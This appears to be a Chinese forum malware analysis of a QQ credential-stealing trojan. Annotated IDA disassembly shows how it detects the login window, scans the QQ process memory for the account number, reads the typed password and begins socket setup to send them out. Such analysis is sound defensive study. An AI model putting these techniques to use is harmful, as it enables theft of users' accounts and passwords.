.text:00401DC5 66 89 4C 24 1A mov [esp+30h+var_16], cx
.text:00401DCA 66 C7 44 24 1C 5F 00 mov [esp+30h+var_14], 5Fh
.text:00401DD1 66 C7 44 24 20 43 00 mov [esp+30h+var_10], 43h
.text:00401DD8 66 C7 44 24 22 44 00 mov [esp+30h+var_E], 44h
.text:00401DDF 66 89 4C 24 26 mov [esp+30h+var_A], cx
.text:00401DE4 66 C7 44 24 2A 00 00 mov [esp+30h+var_6], 0
.text:00401DEB FF D7 call edi ; GetModuleHandleA
.text:00401DED 50 push eax ; hModule
.text:00401DEE FF 15 2C 40 40 00 call ds:FindResourceW
.text:00401DF4 8B F0 mov esi, eax
.text:00401DF6 85 F6 test esi, esi
.text:00401DF8 0F 84 64 01 00 00 jz loc_401F62
.text:00401DFE 53 push ebx
.text:00401DFF 56 push esi ; hResInfo
.text:00401E00 6A 00 push 0 ; lpModuleName
.text:00401E02 FF D7 call edi ; GetModuleHandleA
.text:00401E04 50 push eax ; hModule
.text:00401E05 FF 15 30 40 40 00 call ds:LoadResource
.text:00401E0B 8B D8 mov ebx, eax
.text:00401E0D 85 DB test ebx, ebx
.text:00401E0F 89 5C 24 0C mov [esp+28h+var_1C], ebx
发现里面就是加载资源啥的,先不深究。我们现在先要找到的是这个木马怎么去检测QQ正在登陆。通过查看窗口过程我们没有发现定时器消息的处理,而在winmain函数中看到了下面这段代码:
[Asm] 纯文本查看 复制代码 .text:00401936 8D 54 24 10 lea edx, [esp+30h+ThreadId]
.text:0040193A 52 push edx ; lpThreadId
.text:0040193B 6A 00 push 0 ; dwCreationFlags
.text:0040193D 6A 00 push 0 ; lpParameter
.text:0040193F 68 50 29 40 00 push offset StartAddress ; lpStartAddress
.text:00401944 6A 00 push 0 ; dwStackSize
.text:00401946 6A 00 push 0 ; lpThreadAttributes
.text:00401948 FF 15 58 40 40 00 call ds:CreateThread
这里创建了一个线程,我们进去看看,在线程中,我们看到这样一段代码:
[Asm] 纯文本查看 复制代码 .text:00402989 8D 8C 24 4A 01 00 00 lea ecx, [esp+354h+var_20A]
.text:00402990 53 push ebx ; Val
.text:00402991 51 push ecx ; Dst
.text:00402992 66 89 9C 24 50 01 00 00 mov [esp+35Ch+String1], bx
.text:0040299A E8 DF 0E 00 00 call memset
.text:0040299F 83 C4 18 add esp, 18h
.text:004029A2 FF 15 D4 41 40 00 call ds:GetForegroundWindow ; 获取活动窗口句柄
.text:004029A8 8B 2D D0 41 40 00 mov ebp, ds:GetWindow
.text:004029AE 8B F0 mov esi, eax
.text:004029B0 6A 05 push 5 ; uCmd
.text:004029B2 56 push esi ; hWnd
.text:004029B3 FF D5 call ebp ; GetWindow ; 与指定窗口有特定关系的窗口句柄
.text:004029B5 8B F8 mov edi, eax
.text:004029B7 3B FB cmp edi, ebx
.text:004029B9 89 5C 24 10 mov [esp+344h+var_334], ebx
.text:004029BD 74 5D jz short loc_402A1C
.text:004029BF 68 04 01 00 00 push 104h ; nMaxCount
.text:004029C4 8D 94 24 3C 01 00 00 lea edx, [esp+348h+String1]
.text:004029CB 52 push edx ; lpClassName
.text:004029CC 57 push edi ; hWnd
.text:004029CD FF 15 CC 41 40 00 call ds:GetClassNameW ; 获取窗口类名
.text:004029D3 8D 44 24 28 lea eax, [esp+344h+String2]
.text:004029D7 50 push eax ; lpString2
.text:004029D8 8D 8C 24 3C 01 00 00 lea ecx, [esp+348h+String1]
.text:004029DF 51 push ecx ; lpString1
.text:004029E0 66 C7 44 24 30 45 00 mov [esp+34Ch+String2], 45h ; 字符'E'
.text:004029E7 66 C7 44 24 32 64 00 mov [esp+34Ch+var_31A], 64h ; 字符'd'
.text:004029EE 66 C7 44 24 34 69 00 mov [esp+34Ch+var_318], 69h ; 字符'i'
.text:004029F5 66 C7 44 24 36 74 00 mov [esp+34Ch+var_316], 74h ; 字符't'
.text:004029FC 66 89 5C 24 38 mov [esp+34Ch+var_314], bx
.text:00402A01 FF 15 60 40 40 00 call ds:lstrcmpW ; 用获取到的类名来和"Edit"进行比较
.text:00402A07 85 C0 test eax, eax
.text:00402A09 74 09 jz short loc_402A14 ; 如果找到类名为"Edit"的窗口则跳转
.text:00402A0B 6A 02 push 2 ; uCmd
.text:00402A0D 57 push edi ; hWnd
.text:00402A0E FF D5 call ebp ; GetWindow
.text:00402A10 85 C0 test eax, eax
.text:00402A12 74 08 jz short loc_402A1C
.text:00402A14
.text:00402A14 loc_402A14: ; CODE XREF: StartAddress+B9j
.text:00402A14 C7 44 24 10 01 00 00 00 mov [esp+344h+var_334], 1
.text:00402A1C
.text:00402A1C loc_402A1C: ; CODE XREF: StartAddress+6Dj
.text:00402A1C ; StartAddress+C2j
.text:00402A1C 68 04 01 00 00 push 104h ; nMaxCount
.text:00402A21 8D 54 24 38 lea edx, [esp+348h+ClassName]
.text:00402A25 52 push edx ; lpClassName
.text:00402A26 56 push esi ; hWnd
.text:00402A27 C6 44 24 24 54 mov [esp+350h+var_32C], 54h ; 字符'T'
.text:00402A2C C6 44 24 25 58 mov [esp+350h+var_32B], 58h ; 字符'X'
.text:00402A31 C6 44 24 26 47 mov [esp+350h+var_32A], 47h ; 字符'G'
.text:00402A36 C6 44 24 27 75 mov [esp+350h+var_329], 75h ; 字符'u'
.text:00402A3B C6 44 24 28 69 mov [esp+350h+var_328], 69h ; 字符'i'
.text:00402A40 C6 44 24 29 46 mov [esp+350h+var_327], 46h ; 字符'F'
.text:00402A45 C6 44 24 2A 6F mov [esp+350h+var_326], 6Fh ; 字符'o'
.text:00402A4A C6 44 24 2B 75 mov [esp+350h+var_325], 75h ; 字符'u'
.text:00402A4F C6 44 24 2C 6E mov [esp+350h+var_324], 6Eh ; 字符'n'
.text:00402A54 C6 44 24 2D 64 mov [esp+350h+var_323], 64h ; 字符'd'
.text:00402A59 C6 44 24 2E 61 mov [esp+350h+var_322], 61h ; 字符'a'
.text:00402A5E C6 44 24 2F 74 mov [esp+350h+var_321], 74h ; 字符't'
.text:00402A63 C6 44 24 30 69 mov [esp+350h+var_320], 69h ; 字符'i'
.text:00402A68 C6 44 24 31 6F mov [esp+350h+var_31F], 6Fh ; 字符'o'
.text:00402A6D C6 44 24 32 6E mov [esp+350h+var_31E], 6Eh ; 字符'n'
.text:00402A72 88 5C 24 33 mov [esp+350h+var_31D], bl ; 字符'\0'
.text:00402A76 FF 15 C8 41 40 00 call ds:GetClassNameA
.text:00402A7C 8D 44 24 18 lea eax, [esp+344h+var_32C]
.text:00402A80 50 push eax ; lpString2
.text:00402A81 8D 4C 24 38 lea ecx, [esp+348h+ClassName]
.text:00402A85 51 push ecx ; lpString1
.text:00402A86 FF 15 64 40 40 00 call ds:lstrcmpA
.text:00402A8C 85 C0 test eax, eax
.text:00402A8E 0F 85 5F 01 00 00 jnz loc_402BF3 ; 如果找到的类名不是"TXGuiFoundation"则跳转
.text:00402A94 39 5C 24 10 cmp [esp+344h+var_334], ebx ; 检测前一个类名是否为"Edit"
.text:00402A98 0F 85 55 01 00 00 jnz loc_402BF3 ; 如果类名为"TXGuiFoundation",但前一个类名不为"Edit"则跳转
.text:00402A9E 8D 54 24 14 lea edx, [esp+344h+dwProcessId]
.text:00402AA2 52 push edx ; lpdwProcessId
.text:00402AA3 56 push esi ; hWnd
.text:00402AA4 FF 15 50 41 40 00 call ds:GetWindowThreadProcessId ; 获取创建该窗口的线程ID
.text:00402AAA 8B 0D 58 D4 40 00 mov ecx, dword_40D458
.text:00402AB0 8B 15 E4 63 40 00 mov edx, dword_4063E4
.text:00402AB6 8B 6C 24 14 mov ebp, [esp+344h+dwProcessId]
.text:00402ABA 33 C0 xor eax, eax
.text:00402ABC 3B CB cmp ecx, ebx
.text:00402ABE 7E 15 jle short loc_402AD5
.text:00402AC0 8D 7A 3C lea edi, [edx+3Ch]
.text:00402AC3
.text:00402AC3 loc_402AC3: ; CODE XREF: StartAddress+183j
.text:00402AC3 3B 2F cmp ebp, [edi]
.text:00402AC5 0F 84 CA 00 00 00 jz loc_402B95
.text:00402ACB 83 C0 01 add eax, 1
.text:00402ACE 83 C7 70 add edi, 70h
.text:00402AD1 3B C1 cmp eax, ecx
.text:00402AD3 7C EE jl short loc_402AC3
.text:00402AD5
.text:00402AD5 loc_402AD5: ; CODE XREF: StartAddress+16Ej
.text:00402AD5 6B C9 70 imul ecx, 70h
.text:00402AD8 89 6C 11 3C mov [ecx+edx+3Ch], ebp ; 保存线程ID
.text:00402ADC 8B 15 58 D4 40 00 mov edx, dword_40D458
.text:00402AE2 8B 0D E4 63 40 00 mov ecx, dword_4063E4
.text:00402AE8 6B D2 70 imul edx, 70h
.text:00402AEB 89 74 0A 38 mov [edx+ecx+38h], esi ; 保存窗口句柄
.text:00402AEF 83 05 58 D4 40 00 01 add dword_40D458, 1
上面这段代码就是检测QQ的登陆窗口,这是一个死循环(每检测一次之后,sleep300ms,然后再检测,代码就不贴了),如果检测到了QQ的登陆窗口,程序进行一些窗口处理之后,就会来到call sub_402790这一个函数,我们进去看看这个函数的代码:
[Asm] 纯文本查看 复制代码 .text:004027BE 8B 45 08 mov eax, [ebp+arg_0]
.text:004027C1 33 FF xor edi, edi
.text:004027C3 51 push ecx ; dwProcessId
.text:004027C4 89 45 C4 mov [ebp+var_3C], eax
.text:004027C7 B8 51 00 00 00 mov eax, 51h
.text:004027CC 57 push edi ; bInheritHandle
.text:004027CD 68 10 04 00 00 push 410h ; dwDesiredAccess
.text:004027D2 66 C7 45 DC 5C 00 mov [ebp+var_24], 5Ch
.text:004027D8 66 89 45 DE mov [ebp+var_22], ax
.text:004027DC 66 89 45 E0 mov [ebp+var_20], ax
.text:004027E0 66 C7 45 E2 5C 00 mov [ebp+var_1E], 5Ch
.text:004027E6 66 C7 45 E4 57 00 mov [ebp+var_1C], 57h
.text:004027EC 66 C7 45 E6 69 00 mov [ebp+var_1A], 69h
.text:004027F2 66 C7 45 E8 6E 00 mov [ebp+var_18], 6Eh
.text:004027F8 66 89 7D EA mov [ebp+var_16], di
.text:004027FC 89 7D D0 mov [ebp+var_30], edi
.text:004027FF FF 15 50 40 40 00 call ds:OpenProcess ; 打开进程
.text:00402805 3B C7 cmp eax, edi
.text:00402807 89 45 CC mov [ebp+hProcess], eax
.text:0040280A 75 07 jnz short loc_402813
.text:0040280C
.text:0040280C loc_40280C: ; DATA XREF: sub_402790+D1o
.text:0040280C 33 C0 xor eax, eax
.text:0040280E E9 04 01 00 00 jmp loc_402917
.text:00402813 ; ---------------------------------------------------------------------------
.text:00402813
.text:00402813 loc_402813: ; CODE XREF: sub_402790+7Aj
.text:00402813 8D 55 84 lea edx, [ebp+SystemInfo]
.text:00402816 52 push edx ; lpSystemInfo
.text:00402817 FF 15 54 40 40 00 call ds:GetSystemInfo ; 获取当前系统信息
.text:0040281D 8B 45 8C mov eax, [ebp+SystemInfo.lpMinimumApplicationAddress] ; 最小寻址空间
.text:00402820
.text:00402820 loc_402820: ; CODE XREF: sub_402790+1B8j
.text:00402820 3B 45 90 cmp eax, [ebp+SystemInfo.lpMaximumApplicationAddress] ; 用最小寻址空间来和最大寻址空间进行比较
.text:00402823 89 45 D8 mov [ebp+lpBaseAddress], eax
.text:00402826 0F 83 E9 00 00 00 jnb loc_402915 ; 如果最小寻址空间比最大寻址空间大则跳转
.text:0040282C 68 98 44 40 00 push offset unk_404498
.text:00402831 8D 45 C8 lea eax, [ebp+var_38]
.text:00402834 C7 45 FC 00 00 00 00 mov [ebp+var_4], 0
.text:0040283B 50 push eax
.text:0040283C C7 45 C8 1F 00 00 00 mov [ebp+var_38], 1Fh
.text:00402843 E8 42 10 00 00 call _CxxThrowException
.text:00402848 ; ---------------------------------------------------------------------------
.text:00402848 8B 55 D8 mov edx, [ebp+lpBaseAddress]
.text:0040284B 8B 45 CC mov eax, [ebp+hProcess]
.text:0040284E 6A 1C push 1Ch ; dwLength
.text:00402850 8D 4D A8 lea ecx, [ebp+Buffer]
.text:00402853 51 push ecx ; lpBuffer
.text:00402854 52 push edx ; lpAddress
.text:00402855 50 push eax ; hProcess
.text:00402856 FF 15 B0 40 40 00 call ds:VirtualQueryEx ; 查询地址空间中内存地址的信息
.text:0040285C 83 F8 1C cmp eax, 1Ch
.text:0040285F 74 06 jz short loc_402867
.text:00402861 B8 0C 28 40 00 mov eax, offset loc_40280C
.text:00402866 C3 retn
.text:00402867 ; ---------------------------------------------------------------------------
.text:00402867
.text:00402867 loc_402867: ; CODE XREF: sub_402790+CFj
.text:00402867 B8 6D 28 40 00 mov eax, offset loc_40286D
.text:0040286C C3 retn ; 这里相当于一个跳转
.text:0040286D ; ---------------------------------------------------------------------------
.text:0040286D
.text:0040286D loc_40286D: ; CODE XREF: sub_402790+DCj
.text:0040286D ; DATA XREF: sub_402790:loc_402867o
.text:0040286D 81 7D B8 00 10 00 00 cmp [ebp+Buffer.State], 1000h
.text:00402874 0F 85 C3 00 00 00 jnz loc_40293D
.text:0040287A 83 7D BC 04 cmp [ebp+Buffer.Protect], 4
.text:0040287E 0F 85 B9 00 00 00 jnz loc_40293D
.text:00402884 8B 45 B4 mov eax, [ebp+Buffer.RegionSize]
.text:00402887 3D 00 04 00 00 cmp eax, 400h
.text:0040288C 8B F8 mov edi, eax
.text:0040288E 0F 8C AC 00 00 00 jl loc_402940
.text:00402894 8D 0C 00 lea ecx, [eax+eax]
.text:00402897 51 push ecx ; Size
.text:00402898 C7 45 D4 00 00 00 00 mov [ebp+NumberOfBytesRead], 0
.text:0040289F FF 15 38 41 40 00 call ds:malloc ; 申请内存
.text:004028A5 8B 4D CC mov ecx, [ebp+hProcess]
.text:004028A8 83 C4 04 add esp, 4
.text:004028AB 8D 55 D4 lea edx, [ebp+NumberOfBytesRead]
.text:004028AE 52 push edx ; lpNumberOfBytesRead
.text:004028AF 57 push edi ; nSize
.text:004028B0 8B F0 mov esi, eax
.text:004028B2 8B 45 D8 mov eax, [ebp+lpBaseAddress]
.text:004028B5 56 push esi ; lpBuffer
.text:004028B6 50 push eax ; lpBaseAddress
.text:004028B7 51 push ecx ; hProcess
.text:004028B8 FF 15 5C 40 40 00 call ds:ReadProcessMemory ; 读取内存
.text:004028BE 85 C0 test eax, eax
.text:004028C0 74 71 jz short loc_402933
.text:004028C2 8B 55 D4 mov edx, [ebp+NumberOfBytesRead]
.text:004028C5 52 push edx
.text:004028C6 56 push esi
.text:004028C7 8D 5D DC lea ebx, [ebp+var_24]
.text:004028CA E8 21 FE FF FF call sub_4026F0
在这个函数中,主要就是读取前面找到的创建窗口的进程的数据,然后将读取出来的数据传入sub_4026F0函数中。读取出来的数据干嘛用?我们接着往下看:
[Asm] 纯文本查看 复制代码 .text:004026F0 55 push ebp
.text:004026F1 8B 6C 24 08 mov ebp, [esp+4+arg_0] ; 从内存中读取到的数据的首地址
.text:004026F5 56 push esi
.text:004026F6 8B CB mov ecx, ebx ; ebx中存放的是字符串"\\QQ\\Win"
.text:004026F8 57 push edi
.text:004026F9 33 C0 xor eax, eax
.text:004026FB 8D 71 02 lea esi, [ecx+2]
.text:004026FE 8B FF mov edi, edi
.text:00402700
.text:00402700 loc_402700: ; CODE XREF: sub_4026F0+19j
.text:00402700 66 8B 11 mov dx, [ecx]
.text:00402703 83 C1 02 add ecx, 2
.text:00402706 66 85 D2 test dx, dx
.text:00402709 75 F5 jnz short loc_402700
.text:0040270B 2B CE sub ecx, esi ; 计算字符串长度
.text:0040270D D1 F9 sar ecx, 1
.text:0040270F 8B F1 mov esi, ecx
.text:00402711 3B 74 24 14 cmp esi, [esp+0Ch+arg_4] ; 比较字符串长度和读取到的数据长度的大小
.text:00402715 7F 6A jg short loc_402781 ; 字符串比读到的数据大小大则跳转
.text:00402717
.text:00402717 loc_402717: ; CODE XREF: sub_4026F0+8Fj
.text:00402717 0F B7 0B movzx ecx, word ptr [ebx]
.text:0040271A 8D 54 45 00 lea edx, [ebp+eax*2+0]
.text:0040271E 33 FF xor edi, edi
.text:00402720 66 3B 0A cmp cx, [edx] ; 从读取到的内存中取出数据,检测其是否是'\\'
.text:00402723 75 2F jnz short loc_402754 ; 从字符串尾开始检测
.text:00402725 33 C9 xor ecx, ecx
.text:00402727 85 F6 test esi, esi
.text:00402729 7E 1F jle short loc_40274A
.text:0040272B EB 03 jmp short loc_402730 ; 这个循环则是在读取到的内存中查找字符串"\\QQ\\Win"
.text:0040272B ; ---------------------------------------------------------------------------
.text:0040272D 8D 49 00 align 10h
.text:00402730
.text:00402730 loc_402730: ; CODE XREF: sub_4026F0+3Bj
.text:00402730 ; sub_4026F0+54j
.text:00402730 66 8B 2C 4B mov bp, [ebx+ecx*2] ; 这个循环则是在读取到的内存中查找字符串"\\QQ\\Win"
.text:00402734 66 3B 2A cmp bp, [edx]
.text:00402737 75 0F jnz short loc_402748
.text:00402739 83 C1 01 add ecx, 1
.text:0040273C 83 C7 01 add edi, 1
.text:0040273F 83 C2 02 add edx, 2
.text:00402742 3B CE cmp ecx, esi
.text:00402744 7C EA jl short loc_402730 ; 这个循环则是在读取到的内存中查找字符串"\\QQ\\Win"
.text:00402746 EB 02 jmp short loc_40274A
.text:00402748 ; ---------------------------------------------------------------------------
.text:00402748
.text:00402748 loc_402748: ; CODE XREF: sub_4026F0+47j
.text:00402748 03 C7 add eax, edi
.text:0040274A
.text:0040274A loc_40274A: ; CODE XREF: sub_4026F0+39j
.text:0040274A ; sub_4026F0+56j
.text:0040274A 3B F7 cmp esi, edi
.text:0040274C 74 35 jz short loc_402783 ; esi等于edi则表示字符串已找到
.text:0040274E 8B 6C 24 10 mov ebp, [esp+0Ch+arg_0]
.text:00402752 EB 24 jmp short loc_402778
.text:00402754 ; ---------------------------------------------------------------------------
.text:00402754
.text:00402754 loc_402754: ; CODE XREF: sub_4026F0+33j
.text:00402754 8D 4E FF lea ecx, [esi-1] ; 从字符串尾开始检测
.text:00402757 85 C9 test ecx, ecx
.text:00402759 7C 17 jl short loc_402772
.text:0040275B 8D 14 06 lea edx, [esi+eax]
.text:0040275E 0F B7 54 55 00 movzx edx, word ptr [ebp+edx*2+0] ; 从读取的内存数据中取出字符
.text:00402763
.text:00402763 loc_402763: ; CODE XREF: sub_4026F0+7Cj
.text:00402763 66 39 14 4B cmp [ebx+ecx*2], dx ; 这个循环则检测"\\QQ\\Win"中有没有和读取出来的数据相等的字符
.text:00402767 74 07 jz short loc_402770
.text:00402769 83 E9 01 sub ecx, 1
.text:0040276C 79 F5 jns short loc_402763 ; 这个循环则检测"\\QQ\\Win"中有没有和读取出来的数据相等的字符
.text:0040276E EB 02 jmp short loc_402772
.text:00402770 ; ---------------------------------------------------------------------------
.text:00402770
.text:00402770 loc_402770: ; CODE XREF: sub_4026F0+77j
.text:00402770 8B F9 mov edi, ecx
.text:00402772
.text:00402772 loc_402772: ; CODE XREF: sub_4026F0+69j
.text:00402772 ; sub_4026F0+7Ej
.text:00402772 8B CE mov ecx, esi
.text:00402774 2B CF sub ecx, edi
.text:00402776 03 C1 add eax, ecx
.text:00402778
.text:00402778 loc_402778: ; CODE XREF: sub_4026F0+62j
.text:00402778 8D 14 06 lea edx, [esi+eax]
.text:0040277B 3B 54 24 14 cmp edx, [esp+0Ch+arg_4]
.text:0040277F 7E 96 jle short loc_402717
.text:00402781
.text:00402781 loc_402781: ; CODE XREF: sub_4026F0+25j
.text:00402781 33 C0 xor eax, eax
.text:00402783
.text:00402783 loc_402783: ; CODE XREF: sub_4026F0+5Cj
.text:00402783 5F pop edi
.text:00402784 5E pop esi
.text:00402785 5D pop ebp
.text:00402786 C3 retn
.text:00402786 sub_4026F0 endp
上面这段代码就是在读取到的内存数据中查找"\\QQ\\Win"字符串。查找的方式是从读取到的数据中取出一个字符,用它和'\\'做比较,如果相等则继续比较,如果不相等则从字符串尾开始查找,看是否有字符和从内存中读取到的字符相等,如果不相等则下次查找的时候就在前一次的基础上偏移"\\QQ\\Win"字符串长度,然后继续查找。如果找到,则返回该字符串在读取到的内存数据中的偏移,反之则返回0。我们接着看sub_4026f0这个函数处理完之后,程序又干了些什么。
[Asm] 纯文本查看 复制代码 .text:004028CF 8B F8 mov edi, eax
.text:004028D1 83 C4 08 add esp, 8
.text:004028D4 85 FF test edi, edi ; 检测返回值
.text:004028D6 89 7D D0 mov [ebp+var_30], edi
.text:004028D9 74 58 jz short loc_402933 ; 为0表示找不到字符串
.text:004028DB 66 83 7C 7E FE 5C cmp word ptr [esi+edi*2-2], 5Ch ; 找到字符串则比较内存数据中前一个字符,看其是否是'\'
.text:004028E1 8D 44 7E FE lea eax, [esi+edi*2-2]
.text:004028E5 74 09 jz short loc_4028F0
.text:004028E7
.text:004028E7 loc_4028E7: ; CODE XREF: sub_402790+15Ej
.text:004028E7 83 E8 02 sub eax, 2
.text:004028EA 66 83 38 5C cmp word ptr [eax], 5Ch ;这里从返回的偏移往前找,知道找到‘\’字符(这里面就是QQ号)
.text:004028EE 75 F7 jnz short loc_4028E7
.text:004028F0
.text:004028F0 loc_4028F0: ; CODE XREF: sub_402790+155j
.text:004028F0 83 C0 02 add eax, 2
.text:004028F3 66 83 38 5C cmp word ptr [eax], 5Ch ; 比较字符,看其是否是'\'
.text:004028F7 74 1C jz short loc_402915
.text:004028F9 8B 55 C4 mov edx, [ebp+var_3C]
.text:004028FC 8B C8 mov ecx, eax
.text:004028FE 8B FF mov edi, edi
.text:00402900
.text:00402900 loc_402900: ; CODE XREF: sub_402790+183j
.text:00402900 66 8B 31 mov si, [ecx] ;这里从内存中取出字符(QQ号)
.text:00402903 66 89 32 mov [edx], si ;保存取出的字符
.text:00402906 83 C0 02 add eax, 2
.text:00402909 83 C1 02 add ecx, 2
.text:0040290C 83 C2 02 add edx, 2
.text:0040290F 66 83 38 5C cmp word ptr [eax], 5Ch
.text:00402913 75 EB jnz short loc_402900
.text:00402915
.text:00402915 loc_402915: ; CODE XREF: sub_402790+96j
.text:00402915 ; sub_402790+167j
.text:00402915 8B C7 mov eax, edi ; 如果都是则返回字符串内在内存中的偏移
这里是对之前的查找结果做一个判断,如果找到目标字符串,则返回目标字符串的偏移,然后再根据偏移来查找QQ号(这里说明下为什么要在内存中查找"\\QQ\\Win"这个字符串,因为在这个字符串之前就是QQ号,所以在找到目标字符串之后,再往前搜索一下就能找到QQ好了,上面的代码就是搜索QQ号的),否则就继续查找,在内存都读取完了之后返回。然后就是显示窗口,代码如下:
[Asm] 纯文本查看 复制代码 .text:00402B61 85 C0 test eax, eax ; 检测查找结果
.text:00402B63 74 41 jz short loc_402BA6 ; 找不到就直接弹出窗口,啥都不显示
.text:00402B65 8B 0D 58 D4 40 00 mov ecx, dword_40D458
.text:00402B6B 8B 15 3C D4 40 00 mov edx, dword_40D43C
.text:00402B71 6B C9 70 imul ecx, 70h
.text:00402B74 81 C1 24 64 40 00 add ecx, offset unk_406424
.text:00402B7A 51 push ecx ; lParam
.text:00402B7B 53 push ebx ; wParam
.text:00402B7C 6A 0C push 0Ch ; Msg
.text:00402B7E 52 push edx ; hWnd
.text:00402B7F FF 15 B0 41 40 00 call ds:SendMessageW ; 找到就发送个WM_SETTEXT消息,将找到的QQ号显示在编辑框上
.text:00402B85 A1 3C D4 40 00 mov eax, dword_40D43C
.text:00402B8A 53 push ebx
.text:00402B8B 6A 01 push 1
.text:00402B8D 68 CF 00 00 00 push 0CFh
.text:00402B92 50 push eax
.text:00402B93 EB 1F jmp short loc_402BB4
.text:00402B95 ; ---------------------------------------------------------------------------
.text:00402B95
.text:00402B95 loc_402B95: ; CODE XREF: StartAddress+175j
.text:00402B95 8B C8 mov ecx, eax
.text:00402B97 6B C9 70 imul ecx, 70h
.text:00402B9A 83 7C 11 34 01 cmp dword ptr [ecx+edx+34h], 1
.text:00402B9F 7F 52 jg short loc_402BF3
.text:00402BA1 E9 56 FF FF FF jmp loc_402AFC
.text:00402BA6 ; ---------------------------------------------------------------------------
.text:00402BA6
.text:00402BA6 loc_402BA6: ; CODE XREF: StartAddress+213j
.text:00402BA6 8B 0D 3C D4 40 00 mov ecx, dword_40D43C ;
.text:00402BAC 53 push ebx ; lParam
.text:00402BAD 53 push ebx ; wParam
.text:00402BAE 68 CF 00 00 00 push 0CFh ; Msg
.text:00402BB3 51 push ecx ; hWnd
.text:00402BB4
.text:00402BB4 loc_402BB4: ; CODE XREF: StartAddress+243j
.text:00402BB4 FF 15 8C 41 40 00 call ds:SendMessageA
.text:00402BBA 8B 15 40 D4 40 00 mov edx, hWndParent
.text:00402BC0 6A 01 push 1 ; nCmdShow
.text:00402BC2 52 push edx ; hWnd
.text:00402BC3 FF 15 6C 41 40 00 call ds:ShowWindow
在上面的代码中,如果找到,就会把找到的结果显示到对话框上的编辑框中,如下图:
到目前为止,解决了查找QQ号的问题,接下来就是怎么获取密码以及把QQ号和密码发送出去的问题了。我们都知道,要想把账号密码发送出去,只能通过socket通信,而这时,我们在IDA的函数名窗口中看到了这一系列函数,如下图:
我们双击找到这个函数的反汇编代码,然后通过IDA的交叉参考来找到调用这些函数的地方,代码如下:
[Asm] 纯文本查看 复制代码 .text:00401530 6A 14 push 14h ; nMaxCount
.text:00401532 53 push ebx ; lpString
.text:00401533 51 push ecx ; hWnd
.text:00401534 FF D7 call edi ; GetWindowTextA ; 获取账号
.text:00401536 8B 15 50 D4 40 00 mov edx, dword_40D450
.text:0040153C 8B 42 1C mov eax, [edx+1Ch]
.text:0040153F 6A 14 push 14h ; nMaxCount
.text:00401541 8D 73 14 lea esi, [ebx+14h]
.text:00401544 56 push esi ; lpString
.text:00401545 50 push eax ; hWnd
.text:00401546 FF D7 call edi ; GetWindowTextA ; 获取密码
.text:00401548 8B 3D 50 D4 40 00 mov edi, dword_40D450
.text:0040154E 8B 4F 28 mov ecx, [edi+28h] ; 这里得到的是200文件中的第一个字符串
.text:00401551 8D 53 28 lea edx, [ebx+28h]
.text:00401554
.text:00401554 loc_401554: ; CODE XREF: sub_401460+100j
.text:00401554 8A 01 mov al, [ecx] ; 这个循环则是200的第一个字符串和QQ张号密码放到一起
.text:00401556 88 02 mov [edx], al
.text:00401558 83 C1 01 add ecx, 1
.text:0040155B 83 C2 01 add edx, 1
.text:0040155E 84 C0 test al, al
.text:00401560 75 F2 jnz short loc_401554 ; 这个循环则是200的第一个字符串和QQ张号密码放到一起
.text:00401562 8B C3 mov eax, ebx
.text:00401564 8D 50 01 lea edx, [eax+1]
.text:00401567
.text:00401567 loc_401567: ; CODE XREF: sub_401460+10Ej
.text:00401567 8A 08 mov cl, [eax]
.text:00401569 83 C0 01 add eax, 1
.text:0040156C 84 C9 test cl, cl
.text:0040156E 75 F7 jnz short loc_401567
.text:00401570 2B C2 sub eax, edx ; 计算账号大小
.text:00401572 83 F8 04 cmp eax, 4 ; 检测账号长度
.text:00401575 76 78 jbe short loc_4015EF
.text:00401577 8B C3 mov eax, ebx
.text:00401579 8D 50 01 lea edx, [eax+1]
.text:0040157C 8D 64 24 00 lea esp, [esp+0]
.text:00401580
.text:00401580 loc_401580: ; CODE XREF: sub_401460+127j
.text:00401580 8A 08 mov cl, [eax]
.text:00401582 83 C0 01 add eax, 1
.text:00401585 84 C9 test cl, cl
.text:00401587 75 F7 jnz short loc_401580
.text:00401589 2B C2 sub eax, edx ; 计算账号大小
.text:0040158B 83 F8 14 cmp eax, 14h ; 检测账号长度
.text:0040158E 73 5F jnb short loc_4015EF
.text:00401590 8B C6 mov eax, esi
.text:00401592 8D 50 01 lea edx, [eax+1]
.text:00401595
.text:00401595 loc_401595: ; CODE XREF: sub_401460+13Cj
.text:00401595 8A 08 mov cl, [eax]
.text:00401597 83 C0 01 add eax, 1
.text:0040159A 84 C9 test cl, cl
.text:0040159C 75 F7 jnz short loc_401595
.text:0040159E 2B C2 sub eax, edx ; 计算密码大小
.text:004015A0 83 F8 04 cmp eax, 4 ; 检测密码长度
.text:004015A3 76 4A jbe short loc_4015EF
.text:004015A5 8B C6 mov eax, esi
.text:004015A7 8D 50 01 lea edx, [eax+1]
.text:004015AA 8D 9B 00 00 00 00 lea ebx, [ebx+0]
.text:004015B0
.text:004015B0 loc_4015B0: ; CODE XREF: sub_401460+157j
.text:004015B0 8A 08 mov cl, [eax]
.text:004015B2 83 C0 01 add eax, 1
.text:004015B5 84 C9 test cl, cl
.text:004015B7 75 F7 jnz short loc_4015B0
.text:004015B9 2B C2 sub eax, edx ; 计算密码大小
.text:004015BB 83 F8 14 cmp eax, 14h ; 检测密码长度
.text:004015BE 73 2F jnb short loc_4015EF
.text:004015C0 8B 7F 24 mov edi, [edi+24h] ;把目标ip存入edi中
.text:004015C3 E8 38 FA FF FF call sub_401000 ; 调用socket
上面这段代码先是获取QQ账号和密码,然后对账号密码的长度做一下检测,然后就调用 call sub_401000函数,这个函数里调用的就是socket的那套函数,我们进去看看:
[Asm] 纯文本查看 复制代码 .text:00401000
.text:00401000 81 EC B0 01 00 00 sub esp, 1B0h
.text:00401006 A1 18 60 40 00 mov eax, ___security_cookie
.text:0040100B 33 C4 xor eax, esp
.text:0040100D 89 84 24 A8 01 00 00 mov [esp+1B0h+var_8], eax
.text:00401014 56 push esi
.text:00401015 8D 44 24 18 lea eax, [esp+1B4h+WSAData]
.text:00401019 50 push eax ; lpWSAData
.text:0040101A 68 02 02 00 00 push 202h ; wVersionRequested
.text:0040101F E8 86 1F 00 00 call WSAStartup
.text:00401024 85 C0 test eax, eax
.text:00401026 75 7C jnz short loc_4010A4
.text:00401028 66 8B 44 24 18 mov ax, [esp+1B4h+WSAData.wVersion]
.text:0040102D 3C 02 cmp al, 2
.text:0040102F 75 6E jnz short loc_40109F
.text:00401031 3A E0 cmp ah, al
.text:00401033 75 6A jnz short loc_40109F
.text:00401035 6A 00 push 0 ; protocol
.text:00401037 6A 02 push 2 ; type
.text:00401039 6A 02 push 2 ; af
